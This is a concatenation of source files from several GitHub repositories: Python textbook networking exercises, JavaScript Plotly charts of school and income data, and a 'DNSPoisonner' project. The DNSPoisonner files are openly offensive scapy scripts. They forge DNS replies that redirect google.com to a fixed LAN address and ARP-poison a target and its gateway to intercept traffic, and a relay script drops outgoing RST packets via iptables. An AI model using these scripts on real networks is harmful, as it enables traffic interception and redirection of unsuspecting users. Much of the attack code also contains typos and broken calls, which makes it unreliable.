https://github.com/SuperFireFoxy/CorePythonProgramming
1b6163b6e6211cfa04ca9e3996e84229f6cb34fd
e774ceb14ceb6b05dc6b01806ecef3f6160da33e
701f630d0bd2f747f7d9dfc0946893d5c23c1044
refs/heads/master
2021-01-19T17:30:25.777826
2017-08-23T16:58:15
2017-08-23T16:58:15
101,063,312
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5489186644554138, "alphanum_fraction": 0.5664263367652893, "avg_line_length": 21.06818199157715, "blob_id": "b2bb08c4370c920f2ff51a49ad820ff2d6c64783", "content_id": "d9e98a86162f68ed03232e03c7103bda24c09a34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 971, "license_type": "no_license", "max_line_length": 62, "num_lines": 44, "path": "/src/Ch3.2_FTP_Downloader.py", "repo_name": "SuperFireFoxy/CorePythonProgramming", "src_encoding": "UTF-8", "text": "#! /usr/bin/python\nimport ftplib\nimport os\nimport socket\n\nHOST = 'ftp.opera.com'\nDIRN = 'pub/opera/unix/1060b1/'\nFILE = 'opera-10.60-6368.i386.freebsd.tar.bz2'\n\n\ndef main():\n try:\n f = ftplib.FTP(HOST)\n except(socket.error, socket.gaierror) as e:\n print('ERROR: can not reach %' % HOST)\n print('***Connected to host %s' % HOST)\n\n try:\n f.login()\n except ftplib.error_perm:\n print('ERROR: can not login anonymously')\n return\n print('***Login as anonymous')\n\n try:\n f.cwd(DIRN)\n except ftplib.error_perm:\n print('ERROR: can not CD to %s' % DIRN)\n return\n print('***Changed to %s folder' % DIRN)\n\n try:\n f.retrbinary('RETR %s' % FILE, open(FILE, 'wb').write)\n except ftplib.error_perm:\n print('ERROR: cannot read file \"%s\"' % FILE)\n os.unlink(FILE)\n return\n print('***Downloaded \"%s\" to CWD' % FILE)\n\n f.quit()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6604554653167725, "alphanum_fraction": 0.6708074808120728, "avg_line_length": 24.421052932739258, "blob_id": "9566eddf3032fc0f3378b531b793e4c2f24cc6c9", "content_id": "c197a2f7210925c9780a9ca6205c56b61d94ade1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 483, "license_type": "no_license", "max_line_length": 72, "num_lines": 19, "path": "/src/Ch2.4_SocketServer_TCPServ.py", "repo_name": "SuperFireFoxy/CorePythonProgramming", "src_encoding": "UTF-8", "text": "#! /usr/bin/python\nfrom socketserver import (StreamRequestHandler as SRH, TCPServer as TCP)\nfrom time import ctime\n\nHOST = ''\nPORT = 8099\nADDR = (HOST, PORT)\n\n\nclass MyMsgHandler(SRH):\n def handle(self):\n print(\"....connecting from:\", self.client_address)\n strResponse = '%s : %s' % (ctime(), self.rfile.readline())\n self.wfile.write(bytes(strResponse, 'utf-8'))\n\n\ntcpServ = TCP(ADDR, MyMsgHandler)\nprint(\"waiting for connection....\")\ntcpServ.serve_forever()\n" }, { "alpha_fraction": 0.6058394312858582, "alphanum_fraction": 0.6277372241020203, "avg_line_length": 21.83333396911621, "blob_id": "6b6ea54bcf59af66949241d2b9f1a6b11dc1d1b0", "content_id": "4ce0a1e3f5454ee711c5678681b28b3289f01a8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 411, "license_type": "no_license", "max_line_length": 55, "num_lines": 18, "path": "/src/Ch2.4_SocketServer_TCPClient.py", "repo_name": "SuperFireFoxy/CorePythonProgramming", "src_encoding": "UTF-8", "text": "from socket import *\n\nHOST = 'localhost'\nPORT = 8099\nBUFSIZE = 1024\nADDR = (HOST, PORT)\nwhile True:\n tcpClientSock = socket(AF_INET, SOCK_STREAM)\n tcpClientSock.connect(ADDR)\n data = input('> ')\n if not data:\n break\n tcpClientSock.send(bytes(\"%s\\r\\n\" % data, 'UTF-8'))\n data = tcpClientSock.recv(BUFSIZE)\n if not data:\n break\n print(data.strip())\n tcpClientSock.close()\n" } ]
3
chouett0/DNSPoisonner
https://github.com/chouett0/DNSPoisonner
92024c45fb24fd01fd3d5bcf40503517c4b92136
76e57ec8c39e5ccfa34c21295d8abc4efaa8064b
1d2bb3a8d345e148b177c4029bf3ad684b5b44e4
refs/heads/master
2021-06-25T11:07:40.813634
2017-06-22T01:40:49
2017-06-22T01:40:49
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5716946125030518, "alphanum_fraction": 0.5946617126464844, "avg_line_length": 27.76785659790039, "blob_id": "3f8c48fba4fd385aa04225951b73013424fd7971", "content_id": "5bd3025441a8a37c1fa0fdf0f582dfbf0f1cdf27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1611, "license_type": "no_license", "max_line_length": 83, "num_lines": 56, "path": "/TestTool/dns_suniff.py", "repo_name": "chouett0/DNSPoisonner", "src_encoding": "UTF-8", "text": "from datetime import datetime\nimport logging\nfrom scapy.all import *\n\ninterface=\"enp0s3\"\nlogfile=\"bind.log\"\n\ndef dns(pkt, qname='google.com'):\n print \"DNS\"\n\n ip = IP()\n udp = UDP()\n ip.src = pkt[IP].dst\n ip.dst = pkt[IP].src\n udp.sport = pkt[UDP].dport\n udp.dport = pkt[UDP].sport\n\tprint udp.sport\n\n solve = '192.168.0.114'\n\n qd = pkt[UDP].payload\n dns = DNS(id = qd.id, qr=1, qdcount=1, ancount=1, nscount=1, rnode=0)\n dns.qd = qd[DNSQR]\n dns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve)\n dns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve)\n dns.ar = DNSRR(rrname-solve, ttl=3600, rdlen=4, rdata=solvr)\n\n print \"%s => %S\" % (ip.dst, udp.dport)\n\n send(ip/udp/dns)\n\ndef dns_parser(data):\n if data.haslayer(DNS) and data.haslayer(DNSQR):\n ip = data.getlayer(IP)\n udp = data.getlayer(UDP)\n dns = data.getlayer(DNS)\n dnsqr = data.getlayer(DNSQR)\n now = datetime.now()\n timestamp = str(now.strftime('%d-%b-%Y %H:%M:%S.%f'))\n query = dnsqr.sprintf(\"%qname% %qclass% %qtype%\").replace(\"'\",\"\")+ \" +\"\n log = '%s client %s#%s: query: %s (%s)' % (timestamp[:-3], ip.src, udp.sport, \\\n query, ip.dst)\n logging.info(log)\n\n dns(data)\n\nif __name__ == '__main__':\n \n logging.basicConfig(filename=logfile, format='%(message)s', level=logging.INFO)\n console = logging.StreamHandler()\n logging.getLogger('').addHandler(console)\n\n try:\n sniff(filter=\"udp dst port 53\", prn=dns_parser, store=0, iface=interface)\n except KeyboardInterrupt:\n exit(0)\n" }, { "alpha_fraction": 0.5450310707092285, "alphanum_fraction": 0.5776397585868835, "avg_line_length": 21.98214340209961, "blob_id": "5bae4f7e3620a0eeed0d8b2558e3a4488e855e6e", "content_id": "9ccb64084f8732a6842708df279398ca6a3cb3c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1288, "license_type": "no_license", "max_line_length": 70, "num_lines": 56, "path": "/TestTool/DNS_req.py", "repo_name": "chouett0/DNSPoisonner", "src_encoding": "UTF-8", "text": "from scapy.all import *\n\ndef dns(pkt, qname='google.com'):\n\tprint \"DNS\"\n\n\tip = IP()\n\tudp = UDP()\n\tip.src = pkt[IP].dst\n\tip.dst = pkt[IP].src\n\tudp.sport = pkt[UDP].dport\n\tudp.dport = pkt[UDP].sport\n\n\tsolve = '192.168.0.44'\n\n\tqd = pkt[UDP].payload\n\tdns = DNS(id = qd.id, qr=1, qdcount=1, ancount=1, nscount=1, rnode=0)\n\tdns.qd = qd[DNSQR]\n\tdns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve)\n\tdns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve)\n\tdns.ar = DNSRR(rrname-solve, ttl=3600, rdlen=4, rdata=solvr)\n\n\tprint \"%s => %S\" % (ip.dst, udp.dport)\n\n\tsend(ip/udp/dns)\n\ndef icmp(pkt):\n\ttry:\n ip = IP()\n icmp = ICMP()\n ip.src = pkt[IP].dst\n ip.dst = pkt[IP].src\n icmp.type=0\n\t\ticmp.code=0\n\t\ticmp.id = pkt[ICMP].id\n\t\ticmp.seq = pkt[ICMP].seq\n\t\tprint \"%s => %s\" & (ip.src, ip.dst)\n\t\tdata = pkt[ICMP].payload\n\t\tsend(ip/icmp/data)\n\n except Exception as e:\n print e.args[0]\n\ndef test(pkt):\n\tprint \"Get Packet\"\n\n\tpacket = IP(pkt.get_payload())\n\tproto = packet.proto\n\n\tif proto is 0x01:\n\t\tprint \"[*] ICMP Packet\"\n\t\tif packet[ICMP].type is 0:\n\t\t\tprint \"[*] ICMP Echo Request\"\n\t\t\ticmp(packet)\n\nif __name__ == \"__main__\":\n\tpkt = sniff(filter=\"dns\", count=1000, iface=\"enp0s3\", prn=test)\n\n" }, { "alpha_fraction": 0.7941176295280457, "alphanum_fraction": 0.7941176295280457, "avg_line_length": 16, "blob_id": "0b2a0ae6d931b201e01060cc4c2410e569ff2892", "content_id": "3fe59e22d614bac82a803337f5b2728f09dfb693", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 34, "license_type": "no_license", "max_line_length": 18, "num_lines": 2, "path": "/README.md", "repo_name": "chouett0/DNSPoisonner", "src_encoding": "UTF-8", "text": "# DNS Poisnner\nDNS Poisoning tool\n" }, { "alpha_fraction": 0.6144486665725708, "alphanum_fraction": 0.6220532059669495, "avg_line_length": 30.309524536132812, "blob_id": "817502db372b4a1da16012171c2eaf352d3033f1", "content_id": "307f27b227bdbc5da08b40d161d8f30b767fc87d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1315, "license_type": "no_license", "max_line_length": 110, "num_lines": 42, "path": "/TestTool/poison_tools.py", "repo_name": "chouett0/DNSPoisonner", "src_encoding": "UTF-8", "text": "from scapy.all import *\nimport sys\nimport os\nimport signal\n\ndef restore_target(geteway_ip, gateway_mac, target_ip, target_mac):\n\tprint \"[*] Restoring target...\"\n\tsend(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwset=\"ff:ff:ff:ff:ff:ff:ff:ff\", hwsrc=gateway_mac), count=5)\n\tsend(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwset=\"ff:ff:ff:ff:ff:ff:ff:ff\", hwsrc=target_mac), count=5)\n\ndef get_mac(ip_address):\n\tresponses, unanswered = srp(Ether(dst=\"ff:ff:ff:ff:ff:ff:ff:ff\")/ARP(pdst=ip_address), timeout=2, retry=10)\n\n\tfor s, r in responses:\n\t\treturn r[Ether].src\n\n\treturn None\n\ndef poison_target(gateway_ip, gateway_mac, target_ip, target_mac, stop_event):\n \tpoison_taregt = ARP()\n poison_target.op = 2\n poison_target.psrc = gateway_ip\n poison_target.pdst = target_ip\n poison_target.whset = target_mac\n\n poison_gateway = ARP()\n poison_gateway.op = 2\n poison_gateway.psrc = target_ip\n poison_gateway.pdst = gateway_ip\n poison_gateway.hwset = gateway_mac\n\n print \"[*] Beginnnig the ARP poison. [CTRL-C to stop]\"\n\n while True:\n send(poison_target)\n send(poison_gateway)\n\n if stop_event.wait(2):\n \tbreak\n\n print \"[*] ARP poison attack finished.\"\n \treturn\n" }, { "alpha_fraction": 0.6875522136688232, "alphanum_fraction": 0.6979950070381165, "avg_line_length": 25.30769157409668, "blob_id": "52729fb7b97a76a49e18f0617a8f230454859f46", "content_id": "1dc71d3791c7fe108340d10f1e25d1de48baba05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2394, "license_type": "no_license", "max_line_length": 71, "num_lines": 91, "path": "/router.py", "repo_name": "chouett0/DNSPoisonner", "src_encoding": "UTF-8", "text": "import os, sys, getopt, struct, re, string, logging\nfrom socket import *\nfrom fcntl import ioctl\nfrom scapy.all import *\nfrom datetime import datetime\nfrom collections import defaultdict\nimport threading\n\nOUT_ETH_IFNAME = \"eth0\"\noutHWaddr = get_if_hwaddr(OUT_ETH_IFNAME)\noutIpaddr = get_if_addr(OUT_ETH_IFNAME)\n\nIN_ETH_IFNAME = \"eth1\"\ninHWaddr = get_if_hwaddr(IN_ETH_IFNAME)\ninIpaddr = get_if_addr(IN_ETH_IFNAME)\n\noutPackets = defaultdict(int)\noutPacketToLanAddr = defaultdict(str)\n\nclass OutPacketHandler(threading.Thread):\n\tdef __init__(self):\n\t\tthreading.Thread.__init__(self)\n\n\tdef run(self):\n\t\tprint \"Starting outboud...\"\n\t\tl2s = conf.L2listen(iface = OUT_ETH_IFNAME)\n\t\tglobal outHWaddr\n\t\tglobal outInpacket\n\t\tglobal outPakcets\n\t\tglobal outPacketToLanAddr\n\n\t\twhile True:\n\t\t\teframe = l2s.recv(1522)\n#\t\t\tprint self.ifname + \" : \" + eframe.summary()\n\t\t\tif eframe.dst != outHWaddr or not eframe[0].haslayer(IP):\n\t\t\t\tcontinue\n\n\t\t\tipPkt = eframe[0][IP]\n\n\t\t\tif outPackets[(ipPkt.src, ipPkt.sport)] > 0:\n\t\t\t\toutPackets[(ipPkt.src, ipPkt.sport)] -= 1\n\t\t\t\tipPkt.dst = outPacketToLanAddr[(ipPkt, ipPkt.dport)]\n\t\t\t\tif ipPkt.haslayer(TCP): del ipPkt[TCP].chksum\n\t\t\t\tif ipPkt.haslayer(UDP): del ipPkt[UDP].chksum\n\t\t\t\tdel ipPkt[IP].chksum\n\t\t\t\tipPkt = IP(str(ipPkt))\n\t\t\t\tprint \"OUT-TO-IN PACKET: \" + ipPkt.summary()\n\t\t\t\tsend(ipPkt, verbose=0)\n\nclass InPacketHandler(threading.Thread):\n\tdef __init__(self):\n\t\tthreading.Thread.__init__(self)\n\n\tdef run(self):\n\t\tprint \"(Starting inboud...)\"\n\t\tl2s = conf.L2listen(iface = IN_ETH_IFNAME)\n\t\tglobal inkHWaddr\n\t\tglobal inIpaddr\n\t\tglobal outIpaddr\n\t\tglobal outPackets\n\t\tglobal outPacketToLanAddr\n\n\t\twhile True:\n\t\t\teframe = l2s.recv(1522)\n\n\t\t\tif eframe.dst != inHWaddr or eframe[0].haslayer(IP):\n\t\t\t\tcontinue\n\n\t\t\tinPkt = eframe[0][IP]\n\n\t\t\tif inPkt.dst != inIpaddr:\n\t\t\t\toutPackets[(inPkt.dst, inPkt.dpport)] += 1\n\t\t\t\toutPacketToLanAddr[(inPKt.dst, inPkt.dport)] = ipPkt.src\n\t\t\t\tinkPkt.src = outIpaddr\n\t\t\t\tif inPkt.haslayer(TCP): del inPkt[TCP].chksum\n\t\t\t\tif iPkkt.haslayer(UDP): del inPkt[UDP].chksum\n\t\t\t\tdel ipPkt[IP].chkdum\n\t\t\t\tipPtk = IP(str(inPKt))\n\t\t\t\tprint \"IN-TO-OUT PACKET: \" + ipPkt.summary()\n\t\t\t\tsend(ipPkt, verbose=0)\n\noutside = OutPacketHandler()\noutside.deamon = True\noutside.start()\n\ninside = InPacketHandler()\ninside.deamon = True\ninside.start()\n\nos.system(\"sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP\")\ninput(\"Press Ctrl+S to Stop.\")\n" }, { "alpha_fraction": 0.8095238208770752, "alphanum_fraction": 0.8095238208770752, "avg_line_length": 9.5, "blob_id": "bf906eaaee4f7cbcfb6cdf3155278259a28ca619", "content_id": "bff2cc706a4f9aa2cf9245160f3a7c54b2acfc73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 21, "license_type": "no_license", "max_line_length": 10, "num_lines": 2, "path": "/TestTool/README.md", "repo_name": "chouett0/DNSPoisonner", "src_encoding": "UTF-8", "text": "#TestTools\nHaki dame\n" }, { "alpha_fraction": 0.5394537448883057, "alphanum_fraction": 0.575872540473938, "avg_line_length": 27.042552947998047, "blob_id": "11a143701d20c52183f62df6cb151215bc3a79a2", "content_id": "656099899e4c3367a1515e5ff2c82bcf98b5cc00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1392, "license_type": "no_license", "max_line_length": 96, "num_lines": 47, "path": "/DNSSniffer_beta.py", "repo_name": "chouett0/DNSPoisonner", "src_encoding": "UTF-8", "text": "# _*_ coding: utf-8 _*_\nimport os\nimport sys\nfrom scapy.all import *\n#from netfilterqueue import NetfilterQueue\n\ndef fake_dns_reply(pkt, qname=\"google.com\"):\n \"\"\" 偽のDNS応答パケットを作成する \"\"\"\n ip = IP()\n udp = UDP()\n ip.src = pkt[IP].dst\n ip.dst = pkt[IP].src\n udp.sport = pkt[UDP].dport\n udp.dport = pkt[UDP].sport\n\n solved_ip = '192.168.0.114' # 偽のIPアドレス\n qd = pkt[UDP].payload\n dns = DNS(id = qd.id, qr = 1, qdcount = 1, ancount = 1, arcount = 1, nscount = 1, rcode = 0)\n dns.qd = qd[DNSQR]\n dns.an = DNSRR(rrname = qname, ttl = 3600, rdlen = 4, rdata = solved_ip)\n dns.ns = DNSRR(rrname = qname, ttl = 3600, rdlen = 4, rdata = solved_ip)\n dns.ar = DNSRR(rrname = qname, ttl = 3600, rdlen = 4, rdata = solved_ip)\n print(\"\\t%s:%s\" % (ip.dst, udp.dport))\n send(ip/udp/dns)\n\ndef process(pkt):\n \"\"\" NFQUEUEから受け取ったパケットを処理する関数 \"\"\"\n \n \"\"\"\n packet = IP(pkt.get_payload())\n proto = packet.proto\n # 0x11 = UDP\n if proto is 0x11:\n if packet[UDP].dport is 53:\n print(\"[*] DNS request\")\n dns = packet[UDP].payload\n qname = dns[DNSQR].qname\n print(\"[*] Requesting for %s\" % qname)\n\n \"\"\"\n fake_dns_reply(pkt)\n\n\ndef main():\n pack = sniff(filter='udp and port 53', count=1000, iface='enp0s3', prn=process)\n\nmain()\n" } ]
7
tocococa/mdmaker
https://github.com/tocococa/mdmaker
a14debd4748125da6845677a21c4cb198d434ee4
8438c863a5cb6282f43ec6b79c92051c2aef9588
34a8b578b39d92c97439efdcbbfe688f85e40fd5
refs/heads/main
2023-03-24T08:37:51.079644
2021-03-15T23:09:40
2021-03-15T23:09:40
348,107,692
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5167785286903381, "alphanum_fraction": 0.5167785286903381, "avg_line_length": 18, "blob_id": "b18c534c2b78728b37aa8d1768afa8631ec0f541", "content_id": "b1645b40b6f92ffcc43f40f15f60962db1ec486b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 298, "license_type": "no_license", "max_line_length": 55, "num_lines": 15, "path": "/mdmaker.py", "repo_name": "tocococa/mdmaker", "src_encoding": "UTF-8", "text": "import os\r\nfrom datetime import date\r\n\r\n\r\ndef mdmaker():\r\n path = os.path.join(os.getcwd(), str(date.today()))\r\n with open(path + '.md', 'w') as file:\r\n pass\r\n\r\n\r\nif __name__ == '__main__':\r\n try:\r\n mdmaker()\r\n except (OSError, IOError) as e:\r\n print(f\"Error: {e}\")" }, { "alpha_fraction": 0.7441860437393188, "alphanum_fraction": 0.7441860437393188, "avg_line_length": 42, "blob_id": "3a6c4aea8a4ba42789860696a1ebe20a7d5fc843", "content_id": "74474ad814482fbb65552913a895373f70c0e9b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 86, "license_type": "no_license", "max_line_length": 75, "num_lines": 2, "path": "/README.md", "repo_name": "tocococa/mdmaker", "src_encoding": "UTF-8", "text": "# mdmaker\nCreates an empty `.md` file at curect directory, with name as today's date.\n" } ]
2
tli2001/Best-Place-to-live
https://github.com/tli2001/Best-Place-to-live
bdd057cca9cd8e82c2248594a2ec0eab2e95124d
4c3eb5565e617effa053db55631c155d682340f9
e83cb0a999c2def30d12bba10217083fff09218e
refs/heads/master
2020-03-21T21:53:19.418625
2018-06-06T01:38:58
2018-06-06T01:38:58
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.48253849148750305, "alphanum_fraction": 0.5051633715629578, "avg_line_length": 24.11320686340332, "blob_id": "4452bd7f016a4820e5877db4080bc2f84d012003", "content_id": "7067e366f3da4797a9827b65e34600e9b15d0202", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 10652, "license_type": "no_license", "max_line_length": 129, "num_lines": 424, "path": "/static/js/plots.js", "repo_name": "tli2001/Best-Place-to-live", "src_encoding": "UTF-8", "text": " var xBar = [];\n perPrivPub.forEach(function (data) {\n xBar.push(data.schoolDistrict);\n });\n\n var yBar = [];\n perPrivPub.forEach(function (data) {\n yBar.push(data[\"Percent Public School\"]);\n });\n\n var yBarTwo = [];\n perPrivPub.forEach(function (data) {\n yBarTwo.push(data[\"Percent Private School\"]);\n });\n\n var xText = [];\n perPrivPub.forEach(function (data) {\n let num = Math.round(data['Total Enrolled'] * (data['Percent Public School'] / 100));\n let result = num.toString() + ' Students'\n xText.push(result);\n });\n\n var yText = [];\n perPrivPub.forEach(function (data) {\n let num = Math.round(data['Total Enrolled'] * (data['Percent Private School'] / 100));\n let result = num.toString() + ' Students'\n yText.push(result);\n });\n\n //Set up bars\n var trace1 = {\n x: xBar,\n y: yBar,\n name: '% Public',\n text: xText,\n type: 'bar',\n marker: {\n color: 'rgb(31, 72, 100)',\n opacity: 0.75\n }\n };\n\n var trace2 = {\n x: xBar,\n y: yBarTwo,\n name: '% Private',\n text: yText,\n type: 'bar',\n marker: {\n color: 'rgb(233, 92, 64)',\n opacity: 0.75\n }\n };\n\n //set up data and layout\n var allData = [trace1, trace2];\n var layout = {\n title: 'Percent Public or Private School by School District',\n showlegend: true,\n legend: {\n x: 0,\n y: 1.2,\n },\n xaxis: {\n tickangle: -30,\n title: 'School District'\n },\n barmode: 'stack'\n };\n\n //plot shit\n Plotly.newPlot('plotPerPrivPub', allData, layout);\n\n\n\n /*--------------------------------------------------------------------------\n +++ Create total enrollment graph\n --------------------------------------------------------------------------*/\n var yBarThree = [];\n perPrivPub.forEach(function (data) {\n yBarThree.push(data[\"Total Enrolled\"]);\n });\n\n var data2 = {\n x: xBar,\n y: yBarThree,\n type: 'bar',\n marker: {\n color: 'rgb(255, 203, 53)',\n opacity: 0.75\n }\n };\n\n var layout2 = {\n title: 'Total Students Enrolled by School District',\n xaxis: {\n tickangle: -30\n }\n };\n\n //plot shit\n Plotly.newPlot('totalEnrolled', [data2], layout2);\n\n\n /*--------------------------------------------------------------------------\n +++ Create median income by school district and education level\n -------------------------------------------------------------------------*/\n\n // parse data from all data sets \n\n // parse consolidated date\n var xBar2 = [];\n medianIncomeBySchoolDistrictAndEducation.forEach(function (data) {\n xBar2.push(data[\"School District\"]);\n });\n\n var lessThanHS = [];\n medianIncomeBySchoolDistrictAndEducation.forEach(function (data) {\n lessThanHS.push(data[\"Less than high school graduate\"]);\n });\n\n var highSchool = [];\n medianIncomeBySchoolDistrictAndEducation.forEach(function (data) {\n highSchool.push(data[\"High school graduate (includes equivalency)\"]);\n });\n\n var someCollege = [];\n medianIncomeBySchoolDistrictAndEducation.forEach(function (data) {\n someCollege.push(data[\"Some college or associate's degree\"]);\n });\n\n var bachelors = [];\n medianIncomeBySchoolDistrictAndEducation.forEach(function (data) {\n bachelors.push(data[\"Bachelor's degree\"]);\n });\n\n var graduateDegree = [];\n medianIncomeBySchoolDistrictAndEducation.forEach(function (data) {\n graduateDegree.push(data[\"Graduate or professional degree\"]);\n });\n\n // create traces with all created arrays\n // consolidated data\n var dataLessThan = {\n x: xBar2,\n y: lessThanHS,\n type: 'bar',\n name: 'Less than High School',\n marker: {\n color: 'rgb(31, 72, 100)',\n opacity: 0.75\n }\n };\n\n var dataHighSchool = {\n x: xBar2,\n y: highSchool,\n name: 'High School (or Equivalency)',\n type: 'bar',\n marker: {\n color: 'rgb(215, 226, 233)',\n opacity: 0.75\n }\n };\n\n var dataSomeCollege = {\n x: xBar2,\n y: someCollege,\n name: 'Some College (or Associate\\'s)',\n type: 'bar',\n marker: {\n color: 'rgb(255, 203, 53)',\n opacity: 0.75\n }\n };\n\n var dataBachelors = {\n x: xBar2,\n y: bachelors,\n name: 'Bachelor\\'s Degree',\n type: 'bar',\n marker: {\n color: 'rgb(233, 92, 64)',\n opacity: 0.75\n }\n };\n\n var dataGraduate = {\n x: xBar2,\n y: graduateDegree,\n name: 'Graduate Degree',\n type: 'bar',\n marker: {\n color: 'rgb(80, 2, 27)',\n opacity: 0.75\n }\n };\n\n // women data\n\n // parse female income\n var xBar3 = [];\n womenIncome.forEach(function (data) {\n xBar3.push(data[\"School District\"]);\n });\n\n var womenLessThanHS = [];\n womenIncome.forEach(function (data) {\n womenLessThanHS.push(data[\"Less than high school graduate\"]);\n });\n\n var womenHS = [];\n womenIncome.forEach(function (data) {\n womenHS.push(data[\"High school graduate (includes equivalency)\"]);\n });\n\n var womenSomeCollege = [];\n womenIncome.forEach(function (data) {\n womenSomeCollege.push(data[\"Some college or associate's degree\"]);\n });\n\n var womenBachelors = [];\n womenIncome.forEach(function (data) {\n womenBachelors.push(data[\"Bachelor's degree\"]);\n });\n\n var womenGraduateDegree = [];\n womenIncome.forEach(function (data) {\n womenGraduateDegree.push(data[\"Graduate or professional degree\"]);\n });\n var womenLessThanHSTrace = {\n x: xBar3,\n y: womenLessThanHS,\n type: 'bar',\n name: 'Less than High School',\n marker: {\n color: 'rgb(31, 72, 100)',\n opacity: 0.75\n }\n };\n\n var womenHighSchoolTrace = {\n x: xBar3,\n y: womenHS,\n name: 'High School (or Equivalency)',\n type: 'bar',\n marker: {\n color: 'rgb(215, 226, 233)',\n opacity: 0.75\n }\n };\n\n var womenSomeCollegeTrace = {\n x: xBar3,\n y: womenSomeCollege,\n name: 'Some College (or Associate\\'s)',\n type: 'bar',\n marker: {\n color: 'rgb(255, 203, 53)',\n opacity: 0.75\n }\n };\n\n var womenBachelorsTrace = {\n x: xBar3,\n y: womenBachelors,\n name: 'Bachelor\\'s Degree',\n type: 'bar',\n marker: {\n color: 'rgb(233, 92, 64)',\n opacity: 0.75\n }\n };\n\n var womenGraduateTrace = {\n x: xBar3,\n y: womenGraduateDegree,\n name: 'Graduate Degree',\n type: 'bar',\n marker: {\n color: 'rgb(80, 2, 27)',\n opacity: 0.75\n }\n };\n\n\n // men data\n\n // parse male income\n var xBar4 = [];\n maleIncome.forEach(function (data) {\n xBar4.push(data[\"School District\"]);\n });\n\n var menLessThanHS = [];\n maleIncome.forEach(function (data) {\n menLessThanHS.push(data[\"Less than high school graduate\"]);\n });\n\n var menHS = [];\n maleIncome.forEach(function (data) {\n menHS.push(data[\"High school graduate (includes equivalency)\"]);\n });\n\n var menSomeCollege = [];\n maleIncome.forEach(function (data) {\n menSomeCollege.push(data[\"Some college or associate's degree\"]);\n });\n\n var menBachelors = [];\n maleIncome.forEach(function (data) {\n menBachelors.push(data[\"Bachelor's degree\"]);\n });\n\n var menGraduateDegree = [];\n maleIncome.forEach(function (data) {\n menGraduateDegree.push(data[\"Graduate or professional degree\"]);\n });\n\n var menLessThanHSTrace = {\n x: xBar4,\n y: menLessThanHS,\n type: 'bar',\n name: 'Less than High School',\n marker: {\n color: 'rgb(31, 72, 100)',\n opacity: 0.75\n }\n };\n\n var menHSTrace = {\n x: xBar4,\n y: menHS,\n name: 'High School (or Equivalency)',\n type: 'bar',\n marker: {\n color: 'rgb(215, 226, 233)',\n opacity: 0.75\n }\n };\n\n var menSomeCollegeTrace = {\n x: xBar4,\n y: menSomeCollege,\n name: 'Some College (or Associate\\'s)',\n type: 'bar',\n marker: {\n color: 'rgb(255, 203, 53)',\n opacity: 0.75\n }\n };\n\n var menBachelorsTrace = {\n x: xBar4,\n y: menBachelors,\n name: 'Bachelor\\'s Degree',\n type: 'bar',\n marker: {\n color: 'rgb(233, 92, 64)',\n opacity: 0.75\n }\n };\n\n var menGraduateTrace = {\n x: xBar4,\n y: menGraduateDegree,\n name: 'Graduate Degree',\n type: 'bar',\n marker: {\n color: 'rgb(80, 2, 27)',\n opacity: 0.75\n }\n };\n\n // create layout\n var layout3 = {\n title: 'Median Income by Education Level & School District',\n xaxis: {\n tickangle: -30,\n title: 'School District'\n },\n yaxis: {\n range: [0, 450000],\n title: 'Income (USD)'\n },\n showlegend: true,\n legend: {\n x: 0,\n y: 1.1,\n orientation: 'h'\n },\n barmode: 'stack'\n };\n\n\n // set up arrays with all necessary data\n var consolidatedData = [dataLessThan, dataHighSchool, dataSomeCollege, dataBachelors, dataGraduate];\n var womenData = [womenLessThanHSTrace, womenHighSchoolTrace, womenSomeCollegeTrace, womenBachelorsTrace, womenGraduateTrace];\n var menData = [menLessThanHSTrace, menHSTrace, menSomeCollegeTrace, menBachelorsTrace, menGraduateTrace];\n\n //plot shit and set up switching functionality\n Plotly.plot('incomeByEdu', consolidatedData, layout3);\n\n\n function updatePlotly(newdata) {\n Plotly.purge(\"incomeByEdu\");\n Plotly.plot(\"incomeByEdu\", newdata, layout3);\n };\n\n function getData(dataset) {\n var data;\n switch (dataset) {\n case \"men\":\n data = menData;\n break;\n case \"women\":\n data = womenData;\n break;\n case \"all\":\n data = consolidatedData;\n break;\n }\n updatePlotly(data);\n };\n" }, { "alpha_fraction": 0.7345971465110779, "alphanum_fraction": 0.7393364906311035, "avg_line_length": 25.125, "blob_id": "15039e3e8e2cabb34594024af3aa744baa8d4eba", "content_id": "361baecf987a347fa81542bf4d42909a95019b05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 217, "license_type": "no_license", "max_line_length": 86, "num_lines": 8, "path": "/README.md", "repo_name": "tli2001/Best-Place-to-live", "src_encoding": "UTF-8", "text": "## Welcome to Project 2 on Visualization\n\n### Question: Finding the best place to live in California using this website as tool.\n\nData Source: \n• GreatSchools.org (API)\n• US Census (API)\n• American FactFinder\n\n\n" }, { "alpha_fraction": 0.5713274478912354, "alphanum_fraction": 0.6626561880111694, "avg_line_length": 